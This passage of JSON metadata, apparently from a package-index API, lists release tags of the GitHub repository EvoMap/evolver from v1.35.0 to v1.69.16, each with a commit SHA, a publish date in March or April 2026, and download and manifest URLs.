8.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.16","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.16/manifests"},{"name":"v1.69.15","sha":"7eaf9be2cd37bb7960aa24b0971031370bfdc6f3","kind":"tag","published_at":"2026-04-22T11:07:09.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.15","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.15/manifests"},{"name":"v1.69.14","sha":"188791b814facbad637a6f2ab6a3494269368bc1","kind":"tag","published_at":"2026-04-22T11:01:54.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.14","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.14/manifests"},{"name":"v1.69.13","sha":"990ca7a25b37596127d85997574ae457b04a3ff9","kind":"tag","published_at":"2026-04-22T02:28:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.13","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.13/manifests"},{"name":"v1.69.12","sha":"3ca3ea0525b5314b8133ee3b7f5df3184d1be387","kind":"tag","published_at":"2026-04-21T15:13:49.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.12","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.12/manifests"},{"name":"v1.69.11","sha":"23bbce480b86594347ca582edeed17ebee92c6cc","kind":"tag","published_at":"2026-04-21T12:31:28.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.11","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.11/manifests"},{"name":"v1.69.10","sha":"8f289c215324b548aaf97e6d8aa1b5b18207dce1","kind":"tag","published_at":"2026-04-21T12:13:27.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.10","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.10/manifests"},{"name":"v1.69.8","sha":"75119c745c3fc32d954de9f03720b6030ca27f9e","kind":"tag","published_at":"2026-04-21T04:07:35.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.8","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.8/manifests"},{"name":"v1.69.7","sha":"76e2fa5467b08455d1478c5fe42f2ebd5a40ebd9","kind":"tag","published_at":"2026-04-21T03:36:11.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.7","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.7/manifests"},{"name":"v1.69.6","sha":"0223fc19af08a24b2ad0fb3a7b2be712183d06ec","kind":"tag","published_at":"2026-04-21T01:51:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.6","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.6/manifests"},{"name":"v1.69.5","sha":"4285c0b7df31306c5749956a2cbcb82830590589","kind":"tag","published_at":"2026-04-21T01:00:35.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.5/manifests"},{"name":"v1.69.4","sha":"1dc1fa4811d78584e323ed859cb2058e1f6a522e","kind":"tag","published_at":"2026-04-20T16:02:36.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.4/manifests"},{"name":"v1.69.3","sha":"d6bc80bbdab21b03879bb1c69578696d046c597c","kind":"tag","published_at":"2026-04-20T01:22:47.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.3/manifests"},{"name":"v1.69.1","sha":"75b050bd2af0d98ed2675d0fda6fb8438bd5d750","kind":"tag","published_at":"2026-04-20T01:11:28.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.1/manifests"},{"name":"v1.69.0","sha":"0b2660dbe381181e7b0a8ac73af6525f9f3e4e5e","kind":"tag","published_at":"2026-04-19T15:24:14.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.69.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.69.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.69.0/manifests"},{"name":"v1.68.0-beta.2","sha":"a7d9b869c8982f3d148279d9c2b126e18b321db3","kind":"tag","published_at":"2026-04-19T14:49:42.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.68.0-beta.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.68.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.68.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.68.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.68.0-beta.2/manifests"},{"name":"v1.68.0-beta.1","sha":"c908db7255ccf4a40c9e0217a151b542c83e4708","kind":"tag","published_at":"2026-04-18T18:16:37.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.68.0-beta.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.68.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.68.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.68.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.68.0-beta.1/manifests"},{"name":"v1.67.6","sha":"23b6f97039475912c67ce0291fccabdcbe8c2e04","kind":"tag","published_at":"2026-04-18T17:36:44.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.67.6","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.67.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.67.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.6/manifests"},{"name":"v1.67.4","sha":"d31a968cbede295c63cb481e6baffeec8d73926e","kind":"tag","published_at":"2026-04-18T04:09:17.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.67.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.67.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.67.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.4/manifests"},{"name":"v1.67.2","sha":"22773782475cecf43dc9c1af264bf5f9cacc28bc","kind":"tag","published_at":"2026-04-18T02:27:09.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.67.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.67.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.67.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.2/manifests"},{"name":"v1.67.1","sha":"4c51382092f9cb125d3ec55475861ead8d1463a6","kind":"tag","published_at":"2026-04-17T01:56:00.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.67.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.67.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.67.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.1/manifests"},{"name":"v1.67.0","sha":"4b3591b5ac6e4d306005a10d7105c626f404c44d","kind":"tag","published_at":"2026-04-16T09:32:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.67.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.67.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.67.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.67.0/manifests"},{"name":"v1.66.0","sha":"a3328a238db240f6d86abb43fd412f2d9f094572","kind":"commit","published_at":"2026-04-16T09:01:19.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.66.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.66.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.66.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.66.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.66.0/manifests"},{"name":"v1.54.0","sha":"fc5494874331d0d7f9ddc550510340da87f52114","kind":"tag","published_at":"2026-04-13T11:54:52.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.54.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.54.0/manifests"},{"name":"v1.53.2","sha":"a14b4a7749a206c45786ef11b9cd82ad7e7854b9","kind":"tag","published_at":"2026-04-11T18:36:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.53.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.53.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.53.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.2/manifests"},{"name":"v1.53.1","sha":"d02d7eb53c8c6b43ecf102c96a7a4f9ef95889f9","kind":"tag","published_at":"2026-04-11T16:12:06.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.53.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.53.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.53.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.1/manifests"},{"name":"v1.53.0","sha":"92627fce201b71d499edadaa7f3a6259349d9e5a","kind":"tag","published_at":"2026-04-11T15:15:16.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.53.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.53.0/manifests"},{"name":"v1.52.0","sha":"360b89306eb6d989427a460f1b99112481fd0c15","kind":"tag","published_at":"2026-04-11T03:30:15.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.52.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.52.0/manifests"},{"name":"v1.51.3","sha":"33490f74efa1fe8bd7185ed78bef9c1e0020bd1f","kind":"tag","published_at":"2026-04-10T23:38:52.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.51.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.51.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.51.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.3/manifests"},{"name":"v1.51.2","sha":"ab019631f10b5ae974debc25124cc77cc715b3a1","kind":"tag","published_at":"2026-04-10T13:06:06.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.51.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.51.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.51.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.2/manifests"},{"name":"v1.51.1","sha":"d7bada60a2cbbe24b466a17b7ca581bac9fd7257","kind":"tag","published_at":"2026-04-09T19:38:49.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.51.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.51.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.51.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.1/manifests"},{"name":"v1.51.0","sha":"647a5404637ea0e341a59074dd2f810ff614328c","kind":"tag","published_at":"2026-04-09T19:19:11.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.51.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.51.0/manifests"},{"name":"v1.50.0","sha":"3e87aef2eba64420a4a5bdc69e6328411477d704","kind":"tag","published_at":"2026-04-09T18:56:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.50.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.50.0/manifests"},{"name":"v1.48.0","sha":"823646cf045653b3250d25dcaa530e26a7a833cc","kind":"tag","published_at":"2026-04-09T07:28:17.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.48.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.48.0/manifests"},{"name":"v1.47.0","sha":"e72778ea4cf6b5bf41fa1cda44e61f5355b2b77f","kind":"tag","published_at":"2026-04-07T10:51:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.47.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.47.0/manifests"},{"name":"v1.44.0","sha":"69ae031858d2e0d4365559a00bfb6e7f4c3fb405","kind":"commit","published_at":"2026-04-04T07:26:01.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.44.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.44.0/manifests"},{"name":"v1.43.0","sha":"7482915c73fdc4d765c60edb82e8c70debd9c05b","kind":"commit","published_at":"2026-04-04T07:10:55.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.43.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.43.0/manifests"},{"name":"v1.42.0","sha":"c7f18a4b16bca62382a037f784cecc98a0887469","kind":"commit","published_at":"2026-04-04T06:47:31.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.42.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.42.0/manifests"},{"name":"v1.41.0","sha":"8e632fd91a8322653d239a58b9256d1b8f0200e6","kind":"tag","published_at":"2026-04-04T04:27:15.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.41.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.41.0/manifests"},{"name":"v1.40.4","sha":"618f4e65fd0bb8a04d6c9f689e3234d3a29d285d","kind":"commit","published_at":"2026-04-04T02:00:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.40.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.40.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.40.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.4/manifests"},{"name":"v1.40.3","sha":"acb74c9d831f7532a13f2be897af52c805b4dbb7","kind":"commit","published_at":"2026-04-03T13:00:36.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.40.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.40.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.40.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.3/manifests"},{"name":"v1.40.2","sha":"c23ceb3c9f5c3c32fd192e2bd1c42dcec6d8786c","kind":"commit","published_at":"2026-03-30T14:42:56.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.40.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.40.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.40.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.2/manifests"},{"name":"v1.40.0","sha":"68f8dd83f84512474e5b91e82e7eed755ff56d05","kind":"commit","published_at":"2026-03-27T05:52:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.40.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.40.0/manifests"},{"name":"v1.39.0","sha":"fbca5abd5235ab49eddc3f705a916ea15091bbe6","kind":"tag","published_at":"2026-03-23T19:01:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.39.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.39.0/manifests"},{"name":"v1.38.0","sha":"ac1786511d55c4669d6e46dd8aafab8102e408ad","kind":"tag","published_at":"2026-03-23T04:19:30.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.38.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.38.0/manifests"},{"name":"v1.36.0","sha":"17301b1a135d94895e7931a53cc9d8fbe4d8b82f","kind":"tag","published_at":"2026-03-22T08:14:22.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.36.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.36.0/manifests"},{"name":"v1.35.0","sha":"1fb3b498eb8dad47417228cfd4fa1702d886c171","kind":"tag","published_at":"2026-03-22T07:41:22.000Z","download_url":"https://codeload.github.com/